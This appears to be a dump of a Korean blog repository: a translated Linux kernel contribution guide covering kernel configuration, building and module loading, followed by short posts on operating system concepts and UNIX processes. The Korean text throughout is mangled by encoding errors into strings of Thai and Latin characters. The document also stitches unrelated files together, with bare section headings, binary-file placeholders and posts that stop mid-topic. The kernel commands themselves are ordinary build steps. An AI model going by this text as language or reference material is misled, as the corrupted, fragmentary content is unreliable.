๊ทธ๋žฌ๋‹ค๋ฉด ๊ทธ ์ด์œ ๋Š” ๋ฌด์—‡์ธ์ง€ ๋ณด๋Š”๋ฐ์—๋Š” ๋ฉ”์ผ๋ง ๋ฆฌ์ŠคํŠธ์—์„œ ์˜ค๋ž˜๋œ ๋ฉ”์‹œ์ง€๋“ค์„ ๋Œ์•„๋ณด๋Š”๊ฒƒ์ด ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

๋ผ์ด์„ ์Šค์™€ ๊ด€๋ จ๋œ checkpatch.pl์˜ ๊ฒฝ๊ณ ๋Š” ํ”ผํ•˜์„ธ์š”. ๊ทธ ๊ฒฝ๊ณ ๋Š” ์ˆ˜์ •๋˜๊ธฐ ์ „์— ๋“œ๋ผ์ด๋ฒ„์˜ ์ž‘์„ฑ์ž์™€ ํšŒ์‚ฌ๋“ค์˜ ๋งŽ์€ ๋…ผ์˜๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋ณดํ†ต ์‹ ์ฐธ๋“คํ•œํ…Œ ๋“ค์–ด์˜จ ๊ทธ๋Ÿฐ๊ฒƒ๋“ค์„ ๊ณ ์นœ ์ˆ˜์ •์‚ฌํ•ญ๋“ค์€ maintainer๋“ค์ด ์„ ํ˜ธํ•˜์ง€ ์•Š์•„์š”.

์ถ”๊ฐ€์ ์œผ๋กœ checkpatch cleanup์— ๋Œ€ํ•ด์„œ๋Š” ์ปค๋„์—์„œ ๋‹ค๋ฅธ ๋ฒ„๊ทธ ์ฐพ๊ธฐ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ Coccinele์— ๋Œ€ํ•ด ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด์„ธ์š”.

๋“œ๋ผ์ด๋ฒ„ ์žฌ ์ปดํŒŒ์ผ

์ด์ œ ์ˆ˜์ •ํ•œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋ชจ๋“ˆ๋กœ์„œ ์„ค์ •๋˜๊ฒŒ ๋งŒ๋“ค์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰์‹œํ‚ค์„ธ์š”.

bash
make menuconfig

์ด ๋ช…๋ น์–ด๊ฐ€ ์„ค์ • ์˜ต์…˜์„ ํƒ์ƒ‰ ํ•  ์ˆ˜ ์žˆ๋Š” ํ…์ŠคํŠธ ๊ธฐ๋ฐ˜์˜ GUI๋ฅผ ์—ด์–ด์ค„ ๊ฒƒ ์ž…๋‹ˆ๋‹ค.

๋ฐฉํ–ฅํ‚ค๋ฅผ ์‚ฌ์šฉํ•ด์„œ Device Drivers ->์— ๋“ค์–ด๊ฐ€์‹  ๋’ค์—, <์—”ํ„ฐ> ๋ฅผ ๋ˆ„๋ฅด์„ธ์š”. ๊ทธ ๋‹ค์Œ์—๋Š” Staging drivers์— ๋“ค์–ด๊ฐ€์„ธ์š”. ์–ธ์ œ๋“  '?' ํ‚ค๋ฅผ ๋ˆŒ๋Ÿฌ ํ•ด๋‹น ์˜ต์…˜์— ๋Œ€ํ•œ ๋„์›€๋ง์„ ์–ป์„ ์ˆ˜ ์žˆ๊ณ , '/' ํ‚ค๋ฅผ ๋ˆŒ๋Ÿฌ ๋‚ด๊ฐ€ ์ˆ˜์ •์ค‘์ธ ๋“œ๋ผ์ด๋ฒ„์˜ ๊ธด ์ด๋ฆ„์„ ๊ฒ€์ƒ‰ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‚ด๊ฐ€ ์ž‘์—…์ค‘์ธ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋‚ด์žฅ์ด ์•„๋‹Œ('*') ๋ชจ๋“ˆ๋กœ์„œ ์ปดํŒŒ์ผ ๋˜๊ฒŒ ํ•˜์„ธ์š”('M'). ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋ฉ”๋‰ด์—์„œ ์„ ํƒ๋˜์—ˆ์„๋•Œ, 'm'ํ‚ค๋ฅผ ๋ˆŒ๋Ÿฌ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋ชจ๋“ˆ๋กœ ์ปดํŒŒ์ผ ๋˜๋„๋ก ํ•˜์„ธ์š”. <์—”ํ„ฐ> ํ‚ค๋ฅผ ๋ˆ„๋ฅด๋Š”๊ฒƒ์€ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋‚ด์žฅ์ด ๋˜๋„๋ก ํ• ๊ฒƒ์ž…๋‹ˆ๋‹ค.

ํ•œ๋ฒˆ ๋‚ด๊ฐ€ ์ˆ˜์ •์ค‘์ธ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ํ™œ์„ฑํ™” ํ–ˆ๋‹ค๋ฉด, ํ‚ค ํ˜น์€ ์˜ค๋ฅธ์ชฝ ํ™”์‚ดํ‘œํ‚ค๋ฅผ ๋ˆŒ๋Ÿฌ ์ปค์„œ๋ฅผ 'Select'์—์„œ 'Exit'์œผ๋กœ ์˜ฎ๊ธฐ์‹œ๊ณ  <์—”ํ„ฐ> ๋ฅผ ๋ˆŒ๋Ÿฌ์ฃผ์„ธ์š”. ๋ฉ”์ธ ๋ฉ”๋‰ด๋กœ ๋Œ์•„๊ฐˆ๋•Œ๊นŒ์ง€ ์ด๊ฒƒ์„ ๋ฐ˜๋ณตํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค. ๋‚˜์˜ ์„ค์ •์„ ์ €์žฅํ•˜๊ฒ ๋ƒ๊ณ  ๋ฌผ์–ด๋ณธ๋‹ค๋ฉด, ๊ทธ๋•Œ 'YES'๋ฅผ ๋ˆ„๋ฅด์„ธ์š”.

์ดํ›„์—๋Š” ์•„๋ž˜์˜ ๋ช…๋ น์–ด๋กœ ์ปค๋„์„ ์žฌ์ปดํŒŒ์ผํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

bash
make -j2

์ปค๋„์„ ์žฌ๋ถ€ํŒ…ํ•˜๊ณ , modprobe๋ฅผ ์ด์šฉํ•ด ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋กœ๋“œํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. lsmod ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋กœ๋“œ ๋œ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์„๊ฒƒ์ž…๋‹ˆ๋‹ค. ์šฐ๋ฆฌ์—๊ฒŒ ์žˆ์–ด ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋กœ๋“œํ•˜๋Š”๊ฒƒ์€ probe ํ•จ์ˆ˜๊ฐ€ ์ž‘๋™ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๊ฒ ์ฃ ?

์ปค๋„์˜ ํŠน์ •๋ถ€๋ถ„๋งŒ ์ปดํŒŒ์ผ ํ•˜๊ธฐ

์ปค๋„์˜ ํŠน์ • ๋ถ€๋ถ„๋งŒ ์ปดํŒŒ์ผ ํ•˜๋Š”๋ฐ๋Š” ์—ฌ๋Ÿฌ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค.

  • make path/file.o: ์ด ๋ฐฉ๋ฒ•์€ ๋‹จ ํ•˜๋‚˜์˜ ํŒŒ์ผ๋งŒ ์ปดํŒŒ์ผ ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ํŒŒ์ผ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ํ™•์ธํ•˜๊ธฐ๊ฐ€ ์–ด๋ ต์ง€ ์•Š์„๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” .config ์—์„œ ๋น„ํ™œ์„ฑํ™”๋œ ํŒŒ์ผ๋“ค์„ ๋นŒ๋“œ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค๋งŒ, ๊ทธ๋ ‡๊ฒŒ ํ•˜๋ฉด ์‹คํŒจ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ๋“ค์–ด ํŠน์ • ์•„ํ‚คํ…์ณ๋งŒ์„ ์œ„ํ•œ ํ—ค๋”๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ ๊ฐ™์€๊ฒŒ ์žˆ๊ฒ ์ฃ .
  • make drivers/staging๊ณผ ๊ฐ™์ด path๋ฅผ makeํ•˜๊ธฐ: ์ด ๋ฐฉ๋ฒ•์€ ํ•ญ์ƒ ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด๋ฏธ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์•„๋ฌด๋Ÿฐ ์—ญํ• ๋„ ํ•˜์ง€ ์•Š์•„์š”.
  • make drivers/staging/๊ณผ ๊ฐ™์ด path/๋ฅผ makeํ•˜๊ธฐ: ์ด ๋ฐฉ๋ฒ•์€ ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ ์•ˆ์—์žˆ๋Š” ๋ชจ๋“  ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋นŒ๋“œํžˆ์ง€๋งŒ, ๋ชจ๋“ˆ๋กœ ๋งํฌํ•˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค.
  • make M=drivers/staging: ์ด ๋ฐฉ๋ฒ•์€ ์ „์— ๋นŒ๋“œํ•œ vmlinux ํŒŒ์ผ์•ˆ์— ๋ชจ๋“ˆ์„ ๋งํฌํ•ฉ๋‹ˆ๋‹ค. .config์˜ ์˜ต์…˜์„ ์ˆ˜์ •ํ•˜๊ฑฐ๋‚˜ ์ƒˆ๋กœ์šด git tree์— rebase ํ–ˆ์„๊ฒฝ์šฐ, ์ด ๋ฐฉ๋ฒ•์€ ๋‹ค๋ฅธ ๋ชจ๋“  ํŒŒ์ผ๋“ค์ด make -j2์™€ ๊ฐ™์€ ์˜ต์…˜์„ ์ด์šฉํ•ด ์ด๋ฏธ ํ•œ๋ฒˆ ๋นŒ๋“œ ๋˜์ง€ ์•Š์•˜๋‹ค๋ฉด ์‹คํŒจ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋“œ๋ผ์ด๋ฒ„ ์˜์กด์„ฑ

๊ฐ€๋” ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ฐพ๊ธฐ ์–ด๋ ค์šธ๋•Œ๊ฐ€ ์žˆ์ฃ . ์•„๋งˆ CONFIG ์˜ต์…˜์„ ์ฐพ์œผ๋ ค๊ณ  ํ–ˆ์„ํ…Œ์ง€๋งŒ, ๋ฉ”๋‰ด๊ฐ€ ์žˆ์–ด์•ผํ•  ๊ณณ์— ์—†์—ˆ์„๊ฑฐ์—์š”. ์•„๋งˆ drvier๋‚˜ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ์˜์กดํ•˜๋Š” subsystem์ด ํ™œ์„ฑํ™”๋˜์ง€ ์•Š์•„์„œ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋ฉ”๋‰ด์—์„œ ์ˆจ์–ด์žˆ๋Š”๊ฑธ๊ฒ๋‹ˆ๋‹ค. ๋ฉ”๋‰ด ์˜ต์…˜์ด ๋ณด์ด๊ฒŒ ํ•˜๋ ค๋ฉด ๋ชจ๋“  ์˜์กด์„ฑ๋“ค์„ ํ™œ์„ฑํ™” ์‹œ์ผœ์•ผํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์ดํ›„์—๋Š” ๋‚ด๊ฐ€ ์ˆ˜์ •ํ•˜๊ณ ์žˆ๋˜ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ํ™œ์„ฑํ™” ์‹œํ‚ฌ ์ˆ˜ ์žˆ์„๊ฑฐ์—์š”.

์˜ˆ๋ฅผ ๋“ค์–ด์„œ, drivers/usb/host/xhci-ring.c๋ฅผ ์ˆ˜์ •ํ•˜๊ณ  ์žˆ์—ˆ๋‹ค๊ณ  ํ•ด๋ด…์‹œ๋‹ค. Kconfig๋“œ๋ผ์ด๋ฒ„์˜ ์ตœ์ƒ์œ„ ๋””๋ ‰ํ† ๋ฆฌ(drivers/usb/host/Kconfig)์—์„œ KconfigํŒŒ์ผ์„ ์—ด์–ด๋ณธ๋‹ค๋ฉด, xHCI๋“œ๋ผ์ด๋ฒ„์— ๋Œ€ํ•œ ์˜ต์…˜์„ ๋ณผ์ˆ˜ ์žˆ์„๊ฒ๋‹ˆ๋‹ค.

text
config USB_XHCI_HCD
         tristate "xHCI HCD (USB 3.0) support"
         depends on USB && USB_ARCH_HAS_XHCI
         ---help---
           The eXtensible Host Controller Interface (xHCI) is standard for USB 3.0
           "SuperSpeed" host controller hardware.

           To compile this driver as a module, choose M here: the
           module will be called xhci-hcd.

๊ทธ๋Ÿผ ์ด์ œ ๋ช…๋ น์–ด make menuconfig ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  USB_XHCI_HCD๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด '/'ํ‚ค๋ฅผ ๋ˆŒ๋Ÿฌ์ฃผ์„ธ์š”. ๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‚ด์šฉ๋“ค์„ ์ถœ๋ ฅํ• ๊ฒ๋‹ˆ๋‹ค.

text
Symbol: USB_XHCI_HCD [=m]
 Type  : tristate
 Prompt: xHCI HCD (USB 3.0) support
   Location:
    -> Device Drivers
 (1)   -> USB support (USB_SUPPORT [=y]
   Defined at drivers/usb/host/Kconfig:20
   Depends on: USB_SUPPORT [=y] && USB [=n] && USB_ARCH_HAS_XHCI [=y])

"Depends on" ์ด ์žˆ๋Š” ๊ณณ์„ ์ง‘์ค‘ํ•ด์„œ ๋ด์ฃผ์„ธ์š”. ๋“œ๋ผ์ด๋ฒ„ ์˜์กด์„ฑ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ด Boolean ์‹์€ ๋ฉ”๋‰ด์—์„œ ๋“œ๋ผ์ด๋ฒ„ ์˜ต์…˜์„ ๋ณด๊ธฐ ์œ„ํ•ด์„œ ํ™œ์„ฑํ™” ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. 'y'๊ฐ€ ์˜๋ฏธํ•˜๋Š”๊ฒƒ์€ ๋“œ๋ผ์ด๋ฒ„๋‚˜ ์„œ๋ธŒ์‹œ์Šคํ…œ์ด ์ปค๋„ ์•ˆ์— ๋‚ด์žฅ๋˜์–ด ์žˆ๋‹ค๋Š”๊ฒƒ์„ ์˜๋ฏธํ•˜๊ณ  'm'์€ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋ชจ๋“ˆ๋กœ ๋นŒ๋“œ๋˜์—ˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด ๋‘ ์˜ต์…˜์€ Boolean ๋…ผ๋ฆฌ์—์„œ '1'๋กœ ๋™์ผํ•ฉ๋‹ˆ๋‹ค. 'n'์€ ๋“œ๋ผ์ด๋ฒ„๋‚˜ ์„œ๋ธŒ์‹œ์Šคํ…œ์ด ๋น„ํ™œ์„ฑํ™” ๋˜์–ด์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด๊ฑด Boolean ๋…ผ๋ฆฌ์—์„œ 0์„ ์˜๋ฏธํ•˜๊ตฌ์š”.

ํŒ

๋งŒ์•ฝ Boolean ๋…ผ๋ฆฌ์— ๋Œ€ํ•ด ๋ชจ๋ฅธ๋‹ค๋ฉด, ์ด ํŠœํ† ๋ฆฌ์–ผ์„ ์ œ์•ˆํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ์–ต์ด ๊ฐ€๋ฌผ๊ฐ€๋ฌผ ํ•ด์„œ ์ž˜ ๋ชจ๋ฅด์‹œ๊ฒ ๋‹ค๋ฉด ์ด crib sheet์„ ์ฝ์–ด๋ณด์„ธ์š”. ๊ท€์ฐฎ์œผ์‹œ๋ฉด ๋ถˆ ๋Œ€์ˆ˜ ๊ณ„์‚ฐ๊ธฐ๋„ ์žˆ๊ณ , ์šฐ๋ถ„ํˆฌ์—์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๊น”๋ ค์žˆ๋Š” ๊ณ„์‚ฐ๊ธฐ ์•ฑ์˜ "Programming Mode"๋ฅผ ์‚ฌ์šฉํ•˜์…”๋„ ๋ฉ๋‹ˆ๋‹ค.

์ด ๊ฒฝ์šฐ์— xHCI ๋“œ๋ผ์ด๋ฒ„์˜ config ์˜ต์…˜์€ USB๊ฐ€ 'n'์œผ๋กœ ์„ค์ •๋˜์–ด์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋ฉ”๋‰ด์— ๋œจ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. USB๋ฅผ ๊ฒ€์ƒ‰ํ•ด์„œ, ๋งŽ์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์™”๋Š”๋ฐ, ๊ทธ์ค‘ USB์™€ ๊ด€๋ จ๋˜์–ด์žˆ๋Š” ๋‚ด์šฉ์„ ์ฐพ์•˜๋„ค์š”.

text
Symbol: USB [=n]  
 Type  : tristate
 Prompt: Support for Host-side USB
   Location:
     -> Device Drivers
 (1)   -> USB support (USB_SUPPORT [=n]) 
   Defined at drivers/usb/Kconfig:51
   Depends on: USB_SUPPORT [=n] && USB_ARCH_HAS_HCD [=n]

Device Driver์˜ ๋ฉ”๋‰ด๋ฅผ ๋ณธ๋‹ค๋ฉด, "USB Support"๊ฐ€ ์žˆ์ฃ ? ์ด๊ฑธ 'm'์œผ๋กœ ๋ฐ”๊ฟจ์Šต๋‹ˆ๋‹ค. ์ด ๊ณผ์ • ์ดํ›„์—๋Š”, "USB Support" ๋ฉ”๋‰ด์—์„œ CONFIG_XHCI_HCD๋ฅผ ์ฐพ์œผ์‹ค ์ˆ˜ ์žˆ์„๊ฒ๋‹ˆ๋‹ค.

๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋ฉ”๋‰ด์—์„œ ๋ณผ ์ˆ˜ ์žˆ๊ฒŒ ๋˜๊ธฐ ์ „์— ๊ฐ๊ฐ์˜ ๋‹ค๋ฅธ ์„ค์ • ์˜ต์…˜์„ ์žฌ๊ท€์ ์œผ๋กœ ํ™œ์„ฑํ™” ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜๋‹ค๊ฐ€ ๋ง‰ํžˆ๋ฉด ๋„์›€์„ ์ฒญํ•˜์„ธ์š”.

์•Œ์•„๋‘์…”์•ผ ํ•  ์ : CONFIG_BORKEN์— ์˜์กดํ•˜๋Š” ๋“œ๋ผ์ด๋ฒ„์˜ ์œ„์—์„œ ์ž‘์—…ํ•˜์ง€ ๋งˆ์„ธ์š”. make menu config ์ดํ›„์— ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๊ฒ€์ƒ‰ํ–ˆ๋Š”๋ฐ "Depends on: "์ด ์žˆ๋Š” ์ค„์— BROKEN์ด๋ผ๋Š” ๊ธ€์ž๊ฐ€ ์žˆ๋‹ค๋ฉด, ๊ทธ ๋“œ๋ผ์ด๋ฒ„ ์œ„์—์„œ ์ž‘์—…ํ•˜์ง€๋งˆ์„ธ์š”.

๋ชจ๋“ˆ ๋‹ค์‹œ ๋กœ๋“œํ•˜๊ธฐ

๋งŒ์•ฝ uname -r ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์„œ ๋‚˜์˜ค๋Š” ์ปค๋„์˜ ๋ฒ„์ „๊ณผ ๋‚ด๊ฐ€ ์ƒˆ๋กœ ์ปดํŒŒ์ผ ํ•œ ์ฝ”๋“œ๊ฐ€ ๊ฐ™์€ ๋ฆด๋ฆฌ์ฆˆ ๋ฒ„์ „์„ ๊ฐ–๊ณ ์žˆ๋‹ค๋ฉด, ์žฌ๋ถ€ํŒ…์„ ํ•˜์ง€ ์•Š๊ณ ๋„ ๋‚˜์˜ ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ํ…Œ์ŠคํŠธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ„๋‹จํžˆ ๋ชจ๋“ˆ์„ /lib/moudules์— ์„ค์น˜ํ•˜๊ณ , ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋‚ด๋ฆฐ๋’ค์— ๋‹ค์‹œ ๋กœ๋“œํ•˜์„ธ์š”.

bash
make -j2 && sudo make modules_install
sudo modprobe -r <module_name>
sudo modprobe <module_name>

๋ชจ๋“ˆ์˜ ์ด๋ฆ„์ด ๋ญ”์ง€ ๋ชจ๋ฅด์‹œ๊ฒ ๋‹ค๊ณ ์š”? ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋ชจ๋“ˆ๋กœ ์ปดํŒŒ์ผ ํ•˜์…จ๋‹ค๋ฉด, ์ตœ์ƒ์˜ ๋””๋ ‰ํ† ๋ฆฌ์— .ko ํŒŒ์ผ์ด ์žˆ์„๊ฒ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ๋“ค์–ด ๋‚ด๊ฐ€ Android driver์„ ๋ชจ๋“ˆ๋กœ ์ปดํŒŒ์ผ ํ•œ๋‹ค๊ณ  ํ•œ๋‹ค๋ฉด, ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋˜๊ฒ ์ฃ .

bash
intern@ubuntu:~/git/kernel/staging$ ls drivers/staging/android/*.ko
 drivers/staging/android/alarm-dev.ko  drivers/staging/android/logger.ko

์ž, ๊ทธ๋Ÿผ ์—ฌ๊ธฐ์— modprobe์™€ ํ•จ๊ป˜ ๋กœ๋“œํ•ด์•ผํ•˜๋Š” ๋‘๊ฐ€์ง€์˜ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋“œ๋ผ์ด๋ฒ„๋“ค์„ modprobe์— base ํŒŒ์ผ๋ช…์„ ๋„˜๊ฒจ์ฃผ๋ฉด์„œ ํ•œ๋ฒˆ์— ๋กœ๋“œ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

bash
sudo modprobe alarm-dev

๋“œ๋ผ์ด๋ฒ„๊ฐ€ ํ™•์‹คํžˆ ๋กœ๋“œ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์‹ถ์œผ์‹œ๋‹ค๋ฉด, ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด๋ณด์„ธ์š”.

bash
lsmod | less

๋ณ€๊ฒฝ์‚ฌํ•ญ ์ปค๋ฐ‹ํ•˜๊ธฐ

๋‚˜์˜ ๋ณ€๊ฒฝ์‚ฌํ•ญ ๋ณด๊ธฐ

๋‚ด ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ์ปค๋ฐ‹ํ•˜๊ธฐ

์Šคํ…Œ์ด์ง€๋œ ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ๋˜๋Œ๋ฆฌ๊ธฐ

ํŒŒ์ผ์˜ ๋ถ€๋ถ„๋ณ„ ์ปค๋ฐ‹

๋ณ€๊ฒฝ์‚ฌํ•ญ ์ปค๋ฐ‹

์ปค๋ฐ‹์„ ์ˆ˜์ •ํ•˜๊ธฐ

๋‚ด ์ปค๋ฐ‹ ๋ณด๊ธฐ

ํŒจ์น˜ ์ œ์ถœํ•˜๊ธฐ

mutt์œผ๋กœ ๋ณด๋‚ด๊ธฐ ์œ„ํ•ด ํŒจ์น˜ ๋งŒ๋“ค๊ธฐ

mutt๊ณผ ํ•จ๊ป˜ ํŒจ์น˜ ๋ณด๋‚ด๊ธฐ

git send-email๋กœ ํŒจ์น˜ ๋ณด๋‚ด๊ธฐ

ํŒ๊ณผ ํŠธ๋ฆญ๋“ค

๋ฉ˜ํ† ์—๊ฒŒ ํŒจ์น˜๋ฅผ ๋ณด๋‚ด๊ธฐ

์ด๋ฉ”์ผ์— ๋‹ต์žฅํ•˜๊ธฐ

inline์œผ๋กœ ๋‹ต์žฅํ•˜๊ธฐ

๋‚ด ํŒจ์น˜ ์ˆ˜์ •ํ•˜๊ธฐ

๋‚ด ์ปค๋ฐ‹ ์ˆ˜์ •ํ•˜๊ธฐ

ํ•˜๋‚˜์˜ ํŒจ์น˜ ์ˆ˜์ •๋ณธ์— ๋ฒ„์ „์„ ๋‚˜๋ˆ„๊ธฐ

ํŒจ์น˜๋ชจ์Œ(patchset)์˜ ๋ฒ„์ „ ๋‚˜๋ˆ„๊ธฐ

ํŒจ์น˜๋ชจ์Œ(patchset)์„ ์ œ์ถœํ•˜๊ธฐ

git format-patch๋ฅผ ์‚ฌ์šฉํ•ด patchset์„ ๋ณด๋‚ด๊ธฐ


File: _posts/2019-9-24-operating57.md


layout: post title: Operating System Concepts - ์ปดํ“จํ„ฐ ์‹œ์Šคํ…œ ์กฐ์ง๋„ date: 2019-9-24 16:14:31 +0900 categories: [operating_system]

ํ˜„๋Œ€์˜ ์ผ๋ฐ˜ ๋ชฉ์  ์ปดํ“จํ„ฐ์‹œ์Šคํ…œ์€ CPU์™€ ๋””๋ฐ”์ด์Šค ์ปจํŠธ๋กค๋Ÿฌ, ๊ทธ๋ฆฌ๊ณ  ์ปดํฌ๋„ŒํŠธ์™€ ๊ณต์œ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ ‘๊ทผ์„ ํ—ˆ๊ฐ€ํ•˜๋Š” ๋ฒ„์Šค๋กœ ๊ตฌ์„ฑ๋œ๋‹ค.

๋””๋ฐ”์ด์Šค ์ปจํŠธ๋กค๋Ÿฌ

  • ๋กœ์ปฌ ๋ฒ„ํผ ์Šคํ† ๋ฆฌ์ง€ ์œ ์ง€๋ณด์ˆ˜
  • ํŠน์ˆ˜๋ชฉ์  ๋ ˆ์ง€์Šคํ„ฐ๋“ค ์œ ์ง€๋ณด์ˆ˜
  • ์ฃผ๋ณ€์žฅ์น˜๋“ค๋ผ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฅผ ์˜ฎ๊ธฐ๋Š”๊ฒƒ์— ์ฑ…์ž„์ด์žˆ์Œ
  • CPU์™€ ๋ณ‘๋ ฌ์‹คํ–‰๋˜์–ด ๋ฉ”๋ชจ๋ฆฌ ์‹ธ์ดํด์— ๋Œ€ํ•ด ๊ฒฝ์Ÿ

์šด์˜์ฒด์ œ๋Š” ์ด๋Ÿฌํ•œ ๋””๋ฐ”์ด์Šค ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ์œ„ํ•œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๊ฐ–๊ณ ์žˆ์Œ

๊ธฐ๊ธฐ ๋“œ๋ผ์ด๋ฒ„

  • ๋””๋ฐ”์ด์Šค ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ์ดํ•ดํ•จ
  • ์šด์˜์ฒด์ œ์— ๋Œ€ํ•œ ํ†ต์ผ๋œ ์ธํ„ฐํŽ˜์ด์Šค ์ œ๊ณต

๋Œ€์ถฉ ๋ณด์ž๋ฉด,

[ ๋ฉ”๋ชจ๋ฆฌ ] - CPU
| |
USB ๊ทธ๋ž˜ํ”ฝ ๋””์Šคํฌ ์ปจํŠธ๋กค๋Ÿฌ


File: _posts/2019-9-25-operating58.md

[Binary file]


File: _posts/2019-9-26-apue60.md

[Binary file]


File: _posts/2019-9-26-operating59.md

[Binary file]


File: _posts/2019-9-27-apue61.md


layout: post title: Advanced Programming in the UNIX Environment - Process, Thread date: 2019-9-27 23:49:22 +0900 categories: [unix, operating_system]

ํ”„๋กœ๊ทธ๋žจ๊ณผ ํ”„๋กœ์„ธ์Šค

ํ”„๋กœ๊ทธ๋žจ

  • "๋””์Šคํฌ์˜ ๋””๋ ‰ํ† ๋ฆฌ ์•ˆ์—์žˆ๋Š” ์‹คํ–‰๊ฐ€๋Šฅํ•œ ํŒŒ์ผ"
    • ๋ฉ”๋ชจ๋ฆฌ์— ์˜ฌ๋ ค์ง
    • 7๊ฐœ์˜ exec ์ค‘ ํ•˜๋‚˜์˜ ๊ฒฐ๊ณผ๊ฐ’์œผ๋กœ ์ปค๋„์— ์˜ํ•ด ์‹คํ–‰ ๋  ์ˆ˜ ์žˆ์Œ(๋‚˜์ค‘์— ๋‹ค๋ฃจ๊ฒ ๋‹ค, apue์—์„œ๋Š” ์„น์…˜ 8.10์—์„œ ๋‹ค๋ฃฌ๋‹ค๊ณ  ํ•จ)

ํ”„๋กœ์„ธ์Šค์™€ ํ”„๋กœ์„ธ์Šค ID

ํ”„๋กœ์„ธ์Šค

  • ์‹คํ–‰์ค‘์ธ ํ”„๋กœ๊ทธ๋žจ์„ ํ”„๋กœ์„ธ์Šค๋ผ๊ณ  ํ•จ
  • ๋ช‡๋ช‡ ์šด์˜์ฒด์ œ์—์„œ๋Š” task๋ผ๊ณ  ๋ถ€๋ฅด๊ธฐ๋„ ํ•จ

ํ”„๋กœ์„ธ์Šค ID

